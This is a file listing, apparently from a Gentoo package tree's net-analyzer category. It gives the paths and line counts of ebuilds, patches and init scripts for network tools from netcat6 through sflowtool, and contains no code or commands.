-rw-r--r--net-analyzer/netcat6/Manifest1
-rw-r--r--net-analyzer/netcat6/files/netcat6-1.0-automake-1.14.patch14
-rw-r--r--net-analyzer/netcat6/files/netcat6-1.0-unix-sockets.patch303
-rw-r--r--net-analyzer/netcat6/metadata.xml5
-rw-r--r--net-analyzer/netcat6/netcat6-1.0-r2.ebuild52
-rw-r--r--net-analyzer/netdiscover/Manifest2
-rw-r--r--net-analyzer/netdiscover/files/netdiscover-0.3_beta6-gentoo.patch41
-rw-r--r--net-analyzer/netdiscover/files/netdiscover-0.3_beta6-misc.patch20
-rw-r--r--net-analyzer/netdiscover/metadata.xml5
-rw-r--r--net-analyzer/netdiscover/netdiscover-0.3_beta6-r3.ebuild36
-rw-r--r--net-analyzer/nethogs/Manifest1
-rw-r--r--net-analyzer/nethogs/files/nethogs-0.8.0-gentoo.patch70
-rw-r--r--net-analyzer/nethogs/metadata.xml16
-rw-r--r--net-analyzer/nethogs/nethogs-0.8.0-r4.ebuild33
-rw-r--r--net-analyzer/neti/Manifest1
-rw-r--r--net-analyzer/neti/files/neti-init220
-rw-r--r--net-analyzer/neti/metadata.xml8
-rw-r--r--net-analyzer/neti/neti-2.0-r1.ebuild55
-rw-r--r--net-analyzer/neti/neti-2.0.ebuild49
-rw-r--r--net-analyzer/netio/Manifest1
-rw-r--r--net-analyzer/netio/files/netio-1.26-linux-include.patch13
-rw-r--r--net-analyzer/netio/metadata.xml5
-rw-r--r--net-analyzer/netio/netio-1.32.ebuild44
-rw-r--r--net-analyzer/netperf/Manifest2
-rw-r--r--net-analyzer/netperf/files/netperf-2.2-conf4
-rw-r--r--net-analyzer/netperf/files/netperf-2.2-init21
-rw-r--r--net-analyzer/netperf/files/netperf-2.6.0-log-dir.patch11
-rw-r--r--net-analyzer/netperf/files/netperf-2.7.0-includes.patch22
-rw-r--r--net-analyzer/netperf/files/netperf-fix-scripts.patch34
-rw-r--r--net-analyzer/netperf/metadata.xml9
-rw-r--r--net-analyzer/netperf/netperf-2.6.0-r1.ebuild63
-rw-r--r--net-analyzer/netperf/netperf-2.7.0.ebuild64
-rw-r--r--net-analyzer/netselect/Manifest1
-rw-r--r--net-analyzer/netselect/files/netselect-0.3-bsd.patch56
-rw-r--r--net-analyzer/netselect/files/netselect-0.3-glibc.patch11
-rw-r--r--net-analyzer/netselect/metadata.xml5
-rw-r--r--net-analyzer/netselect/netselect-0.3-r3.ebuild43
-rw-r--r--net-analyzer/netselect/netselect-0.3-r4.ebuild43
-rw-r--r--net-analyzer/netsniff-ng/Manifest4
-rw-r--r--net-analyzer/netsniff-ng/files/netsniff-ng-0.5.6-man-no-compress.patch41
-rw-r--r--net-analyzer/netsniff-ng/files/netsniff-ng-0.5.8-fortify_source.patch12
-rw-r--r--net-analyzer/netsniff-ng/files/netsniff-ng-0.5.8-libcli-test.patch11
-rw-r--r--net-analyzer/netsniff-ng/metadata.xml9
-rw-r--r--net-analyzer/netsniff-ng/netsniff-ng-0.5.7-r1.ebuild30
-rw-r--r--net-analyzer/netsniff-ng/netsniff-ng-0.5.8.ebuild61
-rw-r--r--net-analyzer/netsniff-ng/netsniff-ng-0.5.9.ebuild59
-rw-r--r--net-analyzer/netsniff-ng/netsniff-ng-0.5.9_rc3.ebuild61
-rw-r--r--net-analyzer/netsniff-ng/netsniff-ng-9999.ebuild59
-rw-r--r--net-analyzer/nettop/Manifest1
-rw-r--r--net-analyzer/nettop/files/nettop-0.2.3-gcc411.patch49
-rw-r--r--net-analyzer/nettop/files/nettop-0.2.3-offbyone.patch29
-rw-r--r--net-analyzer/nettop/metadata.xml5
-rw-r--r--net-analyzer/nettop/nettop-0.2.3-r2.ebuild33
-rw-r--r--net-analyzer/netwag/Manifest2
-rw-r--r--net-analyzer/netwag/metadata.xml9
-rw-r--r--net-analyzer/netwag/netwag-5.39.0.ebuild61
-rw-r--r--net-analyzer/netwatch/Manifest1
-rw-r--r--net-analyzer/netwatch/files/netwatch-1.3.0.1-append_ldflags.patch15
-rw-r--r--net-analyzer/netwatch/files/netwatch-1.3.0.1-do-not-call.patch14
-rw-r--r--net-analyzer/netwatch/files/netwatch-1.3.0.1-fix-fortify.patch11
-rw-r--r--net-analyzer/netwatch/files/netwatch-1.3.0.1-includes.patch22
-rw-r--r--net-analyzer/netwatch/files/netwatch-1.3.0.1-open.patch11
-rw-r--r--net-analyzer/netwatch/files/netwatch-1.3.0.1-tinfo.patch50
-rw-r--r--net-analyzer/netwatch/metadata.xml10
-rw-r--r--net-analyzer/netwatch/netwatch-1.3.0.1-r3.ebuild49
-rw-r--r--net-analyzer/netwox/Manifest2
-rw-r--r--net-analyzer/netwox/metadata.xml9
-rw-r--r--net-analyzer/netwox/netwox-5.39.0.ebuild62
-rw-r--r--net-analyzer/nfdump/Manifest3
-rw-r--r--net-analyzer/nfdump/files/nfdump-1.6.12-test-dep.patch11
-rw-r--r--net-analyzer/nfdump/files/nfdump-1.6.13-libft.patch14
-rw-r--r--net-analyzer/nfdump/metadata.xml17
-rw-r--r--net-analyzer/nfdump/nfdump-1.6.12.ebuild68
-rw-r--r--net-analyzer/nfdump/nfdump-1.6.13.ebuild58
-rw-r--r--net-analyzer/ngrep/Manifest1
-rw-r--r--net-analyzer/ngrep/files/ngrep-1.45-build-fixes.patch186
-rw-r--r--net-analyzer/ngrep/files/ngrep-1.45-prefix.patch17
-rw-r--r--net-analyzer/ngrep/files/ngrep-1.45-setlocale.patch23
-rw-r--r--net-analyzer/ngrep/metadata.xml14
-rw-r--r--net-analyzer/ngrep/ngrep-1.45-r3.ebuild55
-rw-r--r--net-analyzer/nikto/Manifest2
-rw-r--r--net-analyzer/nikto/metadata.xml7
-rw-r--r--net-analyzer/nikto/nikto-1.36.ebuild51
-rw-r--r--net-analyzer/nikto/nikto-2.1.5.ebuild56
-rw-r--r--net-analyzer/nipper/Manifest1
-rw-r--r--net-analyzer/nipper/metadata.xml12
-rw-r--r--net-analyzer/nipper/nipper-0.12.0.ebuild21
-rw-r--r--net-analyzer/nload/Manifest1
-rw-r--r--net-analyzer/nload/files/nload-0.7.4-tinfo.patch10
-rw-r--r--net-analyzer/nload/metadata.xml5
-rw-r--r--net-analyzer/nload/nload-0.7.4.ebuild29
-rw-r--r--net-analyzer/nmap/Manifest3
-rw-r--r--net-analyzer/nmap/files/nmap-4.75-nolua.patch10
-rw-r--r--net-analyzer/nmap/files/nmap-5.10_beta1-string.patch11
-rw-r--r--net-analyzer/nmap/files/nmap-5.21-python.patch21
-rw-r--r--net-analyzer/nmap/files/nmap-6.01-make.patch20
-rw-r--r--net-analyzer/nmap/files/nmap-6.25-liblua-ar.patch20
-rw-r--r--net-analyzer/nmap/files/nmap-6.46-uninstaller.patch19
-rw-r--r--net-analyzer/nmap/files/nmap-6.47-ncat-lua.patch11
-rw-r--r--net-analyzer/nmap/files/nmap-6.47-no-FORTIFY_SOURCE.patch77
-rw-r--r--net-analyzer/nmap/files/nmap-6.47-no-libnl.patch70
-rw-r--r--net-analyzer/nmap/files/nmap-6.49-no-FORTIFY_SOURCE.patch71
-rw-r--r--net-analyzer/nmap/files/nmap-no-FORTIFY_SOURCE.patch77
-rw-r--r--net-analyzer/nmap/metadata.xml15
-rw-r--r--net-analyzer/nmap/nmap-6.47-r1.ebuild153
-rw-r--r--net-analyzer/nmap/nmap-6.47-r2.ebuild153
-rw-r--r--net-analyzer/nmap/nmap-6.47-r3.ebuild154
-rw-r--r--net-analyzer/nmap/nmap-6.49_beta2.ebuild154
-rw-r--r--net-analyzer/nmap/nmap-9999.ebuild147
-rw-r--r--net-analyzer/nmapsi/Manifest2
-rw-r--r--net-analyzer/nmapsi/metadata.xml9
-rw-r--r--net-analyzer/nmapsi/nmapsi-0.4.1.ebuild51
-rw-r--r--net-analyzer/nmapsi/nmapsi-0.4.ebuild44
-rw-r--r--net-analyzer/nmbscan/Manifest1
-rw-r--r--net-analyzer/nmbscan/files/nmbscan-1.2.5-head.diff11
-rw-r--r--net-analyzer/nmbscan/metadata.xml13
-rw-r--r--net-analyzer/nmbscan/nmbscan-1.2.5.ebuild43
-rw-r--r--net-analyzer/nrpe/Manifest1
-rw-r--r--net-analyzer/nrpe/files/nagios-nrpe-2.13-command-args.patch15
-rw-r--r--net-analyzer/nrpe/files/nagios-nrpe-2.13-multiline.patch200
-rw-r--r--net-analyzer/nrpe/files/nagios-nrpe-2.13-tcpd.patch33
-rw-r--r--net-analyzer/nrpe/files/nrpe-2.14-multiline.patch204
-rw-r--r--net-analyzer/nrpe/files/nrpe-2.14-tcpd-et-al.patch74
-rw-r--r--net-analyzer/nrpe/files/nrpe-2.15-autoconf-header.patch24
-rw-r--r--net-analyzer/nrpe/files/nrpe-2.15-metachar-security-fix.patch26
-rw-r--r--net-analyzer/nrpe/files/nrpe-2.15-tcpd-et-al.patch50
-rw-r--r--net-analyzer/nrpe/files/nrpe.init50
-rw-r--r--net-analyzer/nrpe/files/nrpe.service11
-rw-r--r--net-analyzer/nrpe/files/nrpe.xinetd.211
-rw-r--r--net-analyzer/nrpe/metadata.xml22
-rw-r--r--net-analyzer/nrpe/nrpe-2.15-r1.ebuild127
-rw-r--r--net-analyzer/nrpe/nrpe-2.15-r2.ebuild129
-rw-r--r--net-analyzer/nrpe/nrpe-2.15.ebuild127
-rw-r--r--net-analyzer/nsat/Manifest1
-rw-r--r--net-analyzer/nsat/files/nsat-1.5-amd64-compat.patch33
-rw-r--r--net-analyzer/nsat/files/nsat-1.5-configure.patch25
-rw-r--r--net-analyzer/nsat/files/nsat-1.5-lvalue-gcc4.patch11
-rw-r--r--net-analyzer/nsat/files/nsat-1.5-misc.patch108
-rw-r--r--net-analyzer/nsat/files/nsat-1.5-strip.patch10
-rw-r--r--net-analyzer/nsat/files/nsat-1.5-va_list.patch27
-rw-r--r--net-analyzer/nsat/metadata.xml9
-rw-r--r--net-analyzer/nsat/nsat-1.5-r3.ebuild70
-rw-r--r--net-analyzer/nsca/Manifest1
-rw-r--r--net-analyzer/nsca/files/nsca.conf5
-rw-r--r--net-analyzer/nsca/files/nsca.init34
-rw-r--r--net-analyzer/nsca/metadata.xml37
-rw-r--r--net-analyzer/nsca/nsca-2.7.2-r103.ebuild88
-rw-r--r--net-analyzer/nstats/Manifest1
-rw-r--r--net-analyzer/nstats/files/nstats-0.4-glibc24.patch102
-rw-r--r--net-analyzer/nstats/files/nstats-0.4-makefile.patch17
-rw-r--r--net-analyzer/nstats/files/nstats-0.4-tinfo.patch18
-rw-r--r--net-analyzer/nstats/metadata.xml5
-rw-r--r--net-analyzer/nstats/nstats-0.4-r2.ebuild35
-rw-r--r--net-analyzer/ntop/Manifest3
-rw-r--r--net-analyzer/ntop/files/ntop-4.0.3-gentoo.patch232
-rw-r--r--net-analyzer/ntop/files/ntop-4.1.0-gentoo.patch240
-rw-r--r--net-analyzer/ntop/files/ntop-5.0.1-INCS.patch27
-rw-r--r--net-analyzer/ntop/files/ntop-5.0.1-gentoo.patch240
-rw-r--r--net-analyzer/ntop/files/ntop-5.0.1-includes.patch20
-rw-r--r--net-analyzer/ntop/files/ntop-confd9
-rw-r--r--net-analyzer/ntop/files/ntop-initd30
-rw-r--r--net-analyzer/ntop/files/ntop-initd-r125
-rw-r--r--net-analyzer/ntop/files/ntop-update-geoip-db21
-rw-r--r--net-analyzer/ntop/metadata.xml16
-rw-r--r--net-analyzer/ntop/ntop-4.0.3.ebuild126
-rw-r--r--net-analyzer/ntop/ntop-4.1.0.ebuild102
-rw-r--r--net-analyzer/ntop/ntop-5.0.1-r1.ebuild127
-rw-r--r--net-analyzer/ntopng/Manifest2
-rw-r--r--net-analyzer/ntopng/files/ntopng.conf.d3
-rw-r--r--net-analyzer/ntopng/files/ntopng.init.d20
-rw-r--r--net-analyzer/ntopng/metadata.xml10
-rw-r--r--net-analyzer/ntopng/ntopng-1.2.1.ebuild52
-rw-r--r--net-analyzer/ntopng/ntopng-2.0.ebuild54
-rw-r--r--net-analyzer/nttcp/Manifest1
-rw-r--r--net-analyzer/nttcp/files/nttcp-1.47-format-security.patch132
-rw-r--r--net-analyzer/nttcp/metadata.xml6
-rw-r--r--net-analyzer/nttcp/nttcp-1.47-r1.ebuild31
-rw-r--r--net-analyzer/nttcp/nttcp-1.47-r3.ebuild31
-rw-r--r--net-analyzer/odhcploc/Manifest1
-rw-r--r--net-analyzer/odhcploc/metadata.xml14
-rw-r--r--net-analyzer/odhcploc/odhcploc-20111021.ebuild24
-rw-r--r--net-analyzer/oinkmaster/Manifest1
-rw-r--r--net-analyzer/oinkmaster/metadata.xml8
-rw-r--r--net-analyzer/oinkmaster/oinkmaster-2.0.ebuild41
-rw-r--r--net-analyzer/openbsd-netcat/Manifest1
-rw-r--r--net-analyzer/openbsd-netcat/metadata.xml11
-rw-r--r--net-analyzer/openbsd-netcat/openbsd-netcat-1.84.ebuild69
-rw-r--r--net-analyzer/openvas-cli/Manifest3
-rw-r--r--net-analyzer/openvas-cli/metadata.xml10
-rw-r--r--net-analyzer/openvas-cli/openvas-cli-1.3.1.ebuild31
-rw-r--r--net-analyzer/openvas-cli/openvas-cli-1.4.0.ebuild33
-rw-r--r--net-analyzer/openvas-cli/openvas-cli-1.4.2.ebuild33
-rw-r--r--net-analyzer/openvas-libraries/Manifest3
-rw-r--r--net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-bsdsource.patch32
-rw-r--r--net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-libssh.patch16
-rw-r--r--net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-run.patch16
-rw-r--r--net-analyzer/openvas-libraries/files/openvas-libraries-7.0.6-underlinking.patch32
-rw-r--r--net-analyzer/openvas-libraries/files/openvas-libraries-8.0.1-include.patch70
-rw-r--r--net-analyzer/openvas-libraries/metadata.xml10
-rw-r--r--net-analyzer/openvas-libraries/openvas-libraries-7.0.10.ebuild58
-rw-r--r--net-analyzer/openvas-libraries/openvas-libraries-8.0.3.ebuild61
-rw-r--r--net-analyzer/openvas-libraries/openvas-libraries-8.0.4.ebuild61
-rw-r--r--net-analyzer/openvas-manager/Manifest5
-rw-r--r--net-analyzer/openvas-manager/files/openvas-manager-5.0.4-bsdsource.patch12
-rw-r--r--net-analyzer/openvas-manager/files/openvas-manager-5.0.4-gpgerror.patch18
-rw-r--r--net-analyzer/openvas-manager/files/openvas-manager-5.0.4-run.patch16
-rw-r--r--net-analyzer/openvas-manager/files/openvas-manager-6.0.1-bsdsource.patch16
-rw-r--r--net-analyzer/openvas-manager/files/openvasmd23
-rw-r--r--net-analyzer/openvas-manager/files/openvasmd-daemon.conf15
-rw-r--r--net-analyzer/openvas-manager/files/openvasmd.init18
-rw-r--r--net-analyzer/openvas-manager/files/openvasmd.logrotate11
-rw-r--r--net-analyzer/openvas-manager/files/openvasmd.service16
-rw-r--r--net-analyzer/openvas-manager/metadata.xml10
-rw-r--r--net-analyzer/openvas-manager/openvas-manager-5.0.10.ebuild62
-rw-r--r--net-analyzer/openvas-manager/openvas-manager-5.0.11.ebuild62
-rw-r--r--net-analyzer/openvas-manager/openvas-manager-6.0.3.ebuild62
-rw-r--r--net-analyzer/openvas-manager/openvas-manager-6.0.4.ebuild62
-rw-r--r--net-analyzer/openvas-manager/openvas-manager-6.0.5.ebuild62
-rw-r--r--net-analyzer/openvas-scanner/Manifest4
-rw-r--r--net-analyzer/openvas-scanner/files/openvas-nvt-sync-cron39
-rw-r--r--net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-bsdsource.patch12
-rw-r--r--net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-mkcertclient.patch29
-rw-r--r--net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-rulesdir.patch15
-rw-r--r--net-analyzer/openvas-scanner/files/openvas-scanner-4.0.3-run.patch17
-rw-r--r--net-analyzer/openvas-scanner/files/openvassd23
-rw-r--r--net-analyzer/openvas-scanner/files/openvassd-daemon.conf26
-rw-r--r--net-analyzer/openvas-scanner/files/openvassd.conf118
-rw-r--r--net-analyzer/openvas-scanner/files/openvassd.init26
-rw-r--r--net-analyzer/openvas-scanner/files/openvassd.logrotate11
-rw-r--r--net-analyzer/openvas-scanner/files/openvassd.service16
-rw-r--r--net-analyzer/openvas-scanner/files/openvassd.tmpfiles.d1
-rw-r--r--net-analyzer/openvas-scanner/metadata.xml10
-rw-r--r--net-analyzer/openvas-scanner/openvas-scanner-4.0.6.ebuild67
-rw-r--r--net-analyzer/openvas-scanner/openvas-scanner-4.0.7.ebuild67
-rw-r--r--net-analyzer/openvas-scanner/openvas-scanner-5.0.3.ebuild71
-rw-r--r--net-analyzer/openvas-scanner/openvas-scanner-5.0.4.ebuild71
-rw-r--r--net-analyzer/openvas-tools/Manifest1
-rw-r--r--net-analyzer/openvas-tools/metadata.xml7
-rw-r--r--net-analyzer/openvas-tools/openvas-tools-0_pre20512.ebuild28
-rw-r--r--net-analyzer/openvas/files/README.gentoo34
-rw-r--r--net-analyzer/openvas/metadata.xml13
-rw-r--r--net-analyzer/openvas/openvas-7.0.10.ebuild44
-rw-r--r--net-analyzer/openvas/openvas-7.0.11.ebuild44
-rw-r--r--net-analyzer/openvas/openvas-8.0.3.ebuild44
-rw-r--r--net-analyzer/openvas/openvas-8.0.4.ebuild44
-rw-r--r--net-analyzer/ospd/Manifest1
-rw-r--r--net-analyzer/ospd/files/ospd-1.0_beta3-description.patch18
-rw-r--r--net-analyzer/ospd/metadata.xml7
-rw-r--r--net-analyzer/ospd/ospd-1.0.0.ebuild34
-rw-r--r--net-analyzer/ostinato/Manifest1
-rw-r--r--net-analyzer/ostinato/files/protobuf-2.4.0.diff11
-rw-r--r--net-analyzer/ostinato/metadata.xml11
-rw-r--r--net-analyzer/ostinato/ostinato-0.5.1.ebuild26
-rw-r--r--net-analyzer/p0f/Manifest3
-rw-r--r--net-analyzer/p0f/files/p0f.confd3
-rwxr-xr-xnet-analyzer/p0f/files/p0f.initd342
-rw-r--r--net-analyzer/p0f/metadata.xml6
-rw-r--r--net-analyzer/p0f/p0f-2.0.8-r2.ebuild65
-rw-r--r--net-analyzer/p0f/p0f-3.06_beta.ebuild53
-rw-r--r--net-analyzer/p0f/p0f-3.07_beta.ebuild53
-rw-r--r--net-analyzer/packit/Manifest1
-rw-r--r--net-analyzer/packit/files/packit-1.0-format.patch43
-rw-r--r--net-analyzer/packit/files/packit-1.0-noopt.patch10
-rw-r--r--net-analyzer/packit/files/packit-1.0-nostrip.patch10
-rw-r--r--net-analyzer/packit/files/packit-1.0-overflow.patch58
-rw-r--r--net-analyzer/packit/files/packit-1.0-pcap-header.patch22
-rw-r--r--net-analyzer/packit/metadata.xml5
-rw-r--r--net-analyzer/packit/packit-1.0-r2.ebuild34
-rw-r--r--net-analyzer/pathload/Manifest1
-rw-r--r--net-analyzer/pathload/files/pathload-1.3.2-make.patch19
-rw-r--r--net-analyzer/pathload/metadata.xml5
-rw-r--r--net-analyzer/pathload/pathload-1.3.2.ebuild26
-rw-r--r--net-analyzer/pbnj/Manifest1
-rw-r--r--net-analyzer/pbnj/metadata.xml12
-rw-r--r--net-analyzer/pbnj/pbnj-2.04.ebuild30
-rw-r--r--net-analyzer/pchar/Manifest1
-rw-r--r--net-analyzer/pchar/files/pchar-1.5-snmp.patch24
-rw-r--r--net-analyzer/pchar/metadata.xml18
-rw-r--r--net-analyzer/pchar/pchar-1.5-r1.ebuild43
-rw-r--r--net-analyzer/pinger/Manifest2
-rw-r--r--net-analyzer/pinger/files/gtk-2.0.m4196
-rw-r--r--net-analyzer/pinger/files/pinger-0.32e-tinfo.patch21
-rw-r--r--net-analyzer/pinger/files/pinger-0.33-gentoo.patch73
-rw-r--r--net-analyzer/pinger/metadata.xml9
-rw-r--r--net-analyzer/pinger/pinger-0.32e.ebuild49
-rw-r--r--net-analyzer/pinger/pinger-0.33.ebuild59
-rw-r--r--net-analyzer/pktstat/Manifest1
-rw-r--r--net-analyzer/pktstat/files/pktstat-1.8.5-smtp_line.patch46
-rw-r--r--net-analyzer/pktstat/files/pktstat-1.8.5-tinfo.patch10
-rw-r--r--net-analyzer/pktstat/metadata.xml5
-rw-r--r--net-analyzer/pktstat/pktstat-1.8.5-r1.ebuild35
-rw-r--r--net-analyzer/pmacct/Manifest3
-rw-r--r--net-analyzer/pmacct/files/pmacct-0.12.0-gentoo.patch20
-rw-r--r--net-analyzer/pmacct/files/pmacctd-conf.d7
-rw-r--r--net-analyzer/pmacct/files/pmacctd-init.d37
-rw-r--r--net-analyzer/pmacct/metadata.xml10
-rw-r--r--net-analyzer/pmacct/pmacct-0.14.3.ebuild68
-rw-r--r--net-analyzer/pmacct/pmacct-1.5.0.ebuild70
-rw-r--r--net-analyzer/pmacct/pmacct-1.5.1.ebuild72
-rw-r--r--net-analyzer/pnp4nagios/Manifest2
-rw-r--r--net-analyzer/pnp4nagios/files/98_pnp4nagios-2.4.conf29
-rw-r--r--net-analyzer/pnp4nagios/files/98_pnp4nagios.conf22
-rw-r--r--net-analyzer/pnp4nagios/files/npcd37
-rw-r--r--net-analyzer/pnp4nagios/files/npcd.initd19
-rw-r--r--net-analyzer/pnp4nagios/files/pnp4nagios-0.6.14-makefile.patch32
-rw-r--r--net-analyzer/pnp4nagios/metadata.xml8
-rw-r--r--net-analyzer/pnp4nagios/pnp4nagios-0.6.24.ebuild85
-rw-r--r--net-analyzer/pnp4nagios/pnp4nagios-0.6.25.ebuild106
-rw-r--r--net-analyzer/poink/Manifest1
-rw-r--r--net-analyzer/poink/files/poink-2.03-signed-char-fixup.patch13
-rw-r--r--net-analyzer/poink/metadata.xml7
-rw-r--r--net-analyzer/poink/poink-2.03.ebuild29
-rw-r--r--net-analyzer/portbunny/Manifest1
-rw-r--r--net-analyzer/portbunny/metadata.xml7
-rw-r--r--net-analyzer/portbunny/portbunny-1.0_p20080423.ebuild57
-rw-r--r--net-analyzer/portmon/Manifest1
-rw-r--r--net-analyzer/portmon/files/portmon.init30
-rw-r--r--net-analyzer/portmon/metadata.xml5
-rw-r--r--net-analyzer/portmon/portmon-2.0.ebuild30
-rw-r--r--net-analyzer/portsentry/Manifest1
-rw-r--r--net-analyzer/portsentry/files/portsentry-1.2-conf.patch17
-rw-r--r--net-analyzer/portsentry/files/portsentry-1.2-config.h.patch11
-rw-r--r--net-analyzer/portsentry/files/portsentry-1.2-gcc.patch12
-rw-r--r--net-analyzer/portsentry/files/portsentry-1.2-ignore.csh.patch11
-rw-r--r--net-analyzer/portsentry/files/portsentry.8151
-rw-r--r--net-analyzer/portsentry/files/portsentry.conf.5217
-rw-r--r--net-analyzer/portsentry/files/portsentry.confd12
-rw-r--r--net-analyzer/portsentry/files/portsentry.rc639
-rw-r--r--net-analyzer/portsentry/metadata.xml8
-rw-r--r--net-analyzer/portsentry/portsentry-1.2-r1.ebuild44
-rw-r--r--net-analyzer/postal/Manifest1
-rw-r--r--net-analyzer/postal/files/01_postal-0.70-gcc43.patch11
-rw-r--r--net-analyzer/postal/files/02_postal-0.70-nossl.patch72
-rw-r--r--net-analyzer/postal/files/02_postal-0.72-nossl.patch72
-rw-r--r--net-analyzer/postal/files/03_postal-0.70-c++0x-integrated.patch270
-rw-r--r--net-analyzer/postal/files/04_postal-0.70-warnings.patch17
-rw-r--r--net-analyzer/postal/files/05_postal-0.70-openssl-1.patch30
-rw-r--r--net-analyzer/postal/files/06_postal-0.70-ldflags.patch27
-rw-r--r--net-analyzer/postal/metadata.xml5
-rw-r--r--net-analyzer/postal/postal-0.72.ebuild38
-rw-r--r--net-analyzer/prelude-nessus/Manifest1
-rw-r--r--net-analyzer/prelude-nessus/metadata.xml7
-rw-r--r--net-analyzer/prelude-nessus/prelude-nessus-20021107.ebuild26
-rw-r--r--net-analyzer/pypacker/Manifest2
-rw-r--r--net-analyzer/pypacker/metadata.xml12
-rw-r--r--net-analyzer/pypacker/pypacker-2.4.ebuild31
-rw-r--r--net-analyzer/pypacker/pypacker-2.9.ebuild31
-rw-r--r--net-analyzer/quidscor/Manifest1
-rw-r--r--net-analyzer/quidscor/files/quidscor-1.2.48-curl-types.h.patch10
-rw-r--r--net-analyzer/quidscor/files/quidscor-1.2.48-paths.patch37
-rw-r--r--net-analyzer/quidscor/files/quidscor-1.2.48-strip.patch10
-rw-r--r--net-analyzer/quidscor/metadata.xml8
-rw-r--r--net-analyzer/quidscor/quidscor-1.2.48-r1.ebuild45
-rw-r--r--net-analyzer/raddump/Manifest1
-rw-r--r--net-analyzer/raddump/metadata.xml10
-rw-r--r--net-analyzer/raddump/raddump-0.3.1.ebuild25
-rw-r--r--net-analyzer/rain/Manifest2
-rw-r--r--net-analyzer/rain/files/rain-1.2.9_beta1-gentoo.patch27
-rw-r--r--net-analyzer/rain/metadata.xml5
-rw-r--r--net-analyzer/rain/rain-1.2.9_beta1.ebuild29
-rw-r--r--net-analyzer/rrdcollect/Manifest1
-rw-r--r--net-analyzer/rrdcollect/files/rrdcollect-0.2.9-include.patch10
-rw-r--r--net-analyzer/rrdcollect/metadata.xml12
-rw-r--r--net-analyzer/rrdcollect/rrdcollect-0.2.9.ebuild41
-rw-r--r--net-analyzer/rrdtool/Manifest3
-rw-r--r--net-analyzer/rrdtool/files/rrdcached.confd8
-rw-r--r--net-analyzer/rrdtool/files/rrdcached.init14
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.4.7-configure.ac.patch21
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.4.8-disable-rrd_graph.patch227
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-cgi.patch49
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-lua.patch52
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-perl.patch53
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.4.9-disable-rrd_graph-python.patch64
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.5.0_rc1-disable-rrd_graph-lua.patch12
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.5.0_rc1-disable-rrd_graph-python.patch38
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.5.3-rrd_rados.h24
-rw-r--r--net-analyzer/rrdtool/files/rrdtool-1.5.3-rrdrados.pod68
-rw-r--r--net-analyzer/rrdtool/metadata.xml10
-rw-r--r--net-analyzer/rrdtool/rrdtool-1.4.8-r1.ebuild161
-rw-r--r--net-analyzer/rrdtool/rrdtool-1.4.8-r3.ebuild163
-rw-r--r--net-analyzer/rrdtool/rrdtool-1.4.9.ebuild166
-rw-r--r--net-analyzer/rrdtool/rrdtool-1.5.3-r1.ebuild188
-rw-r--r--net-analyzer/rrdtool/rrdtool-1.5.3.ebuild175
-rw-r--r--net-analyzer/rtpbreak/Manifest1
-rw-r--r--net-analyzer/rtpbreak/files/rtpbreak-1.3a-limits.patch10
-rw-r--r--net-analyzer/rtpbreak/files/rtpbreak-1.3a-missing-headers.patch14
-rw-r--r--net-analyzer/rtpbreak/metadata.xml7
-rw-r--r--net-analyzer/rtpbreak/rtpbreak-1.3a-r1.ebuild37
-rw-r--r--net-analyzer/sancp/Manifest5
-rw-r--r--net-analyzer/sancp/files/sancp-1.6.1-compiler.patch45
-rw-r--r--net-analyzer/sancp/files/sancp.confd15
-rw-r--r--net-analyzer/sancp/files/sancp.rc143
-rw-r--r--net-analyzer/sancp/files/sguil_sancp.conf69
-rw-r--r--net-analyzer/sancp/metadata.xml6
-rw-r--r--net-analyzer/sancp/sancp-1.6.1-r4.ebuild69
-rw-r--r--net-analyzer/sarg/Manifest1
-rw-r--r--net-analyzer/sarg/files/sarg-2.3.9-configure-bash.patch102
-rw-r--r--net-analyzer/sarg/files/sarg-2.3.9-configure.patch31
-rw-r--r--net-analyzer/sarg/metadata.xml16
-rw-r--r--net-analyzer/sarg/sarg-2.3.10.ebuild69
-rw-r--r--net-analyzer/sbd/Manifest1
-rw-r--r--net-analyzer/sbd/metadata.xml11
-rw-r--r--net-analyzer/sbd/sbd-1.37-r1.ebuild34
-rw-r--r--net-analyzer/scanlogd/Manifest1
-rw-r--r--net-analyzer/scanlogd/files/scanlogd-2.2.7-gentoo.patch21
-rw-r--r--net-analyzer/scanlogd/files/scanlogd.rc21
-rw-r--r--net-analyzer/scanlogd/metadata.xml9
-rw-r--r--net-analyzer/scanlogd/scanlogd-2.2.7.ebuild47
-rw-r--r--net-analyzer/scanssh/Manifest1
-rw-r--r--net-analyzer/scanssh/files/scanssh-2.0-fix-warnings.diff61
-rw-r--r--net-analyzer/scanssh/metadata.xml6
-rw-r--r--net-analyzer/scanssh/scanssh-2.1.ebuild35
-rw-r--r--net-analyzer/scapy/Manifest3
-rw-r--r--net-analyzer/scapy/files/scapy-2.2.0-fix-sendpfast.patch12
-rw-r--r--net-analyzer/scapy/metadata.xml17
-rw-r--r--net-analyzer/scapy/scapy-2.2.0-r2.ebuild39
-rw-r--r--net-analyzer/scapy/scapy-2.3.0.ebuild35
-rw-r--r--net-analyzer/scapy/scapy-2.3.1.ebuild35
-rw-r--r--net-analyzer/scli/Manifest1
-rw-r--r--net-analyzer/scli/files/scli-0.4.0-configure.patch44
-rw-r--r--net-analyzer/scli/metadata.xml5
-rw-r--r--net-analyzer/scli/scli-0.4.0-r1.ebuild36
-rw-r--r--net-analyzer/sec/Manifest2
-rw-r--r--net-analyzer/sec/files/sec.conf.d12
-rw-r--r--net-analyzer/sec/files/sec.init.d36
-rw-r--r--net-analyzer/sec/metadata.xml8
-rw-r--r--net-analyzer/sec/sec-2.7.6-r1.ebuild28
-rw-r--r--net-analyzer/sec/sec-2.7.7.ebuild28
-rw-r--r--net-analyzer/sflowtool/Manifest4
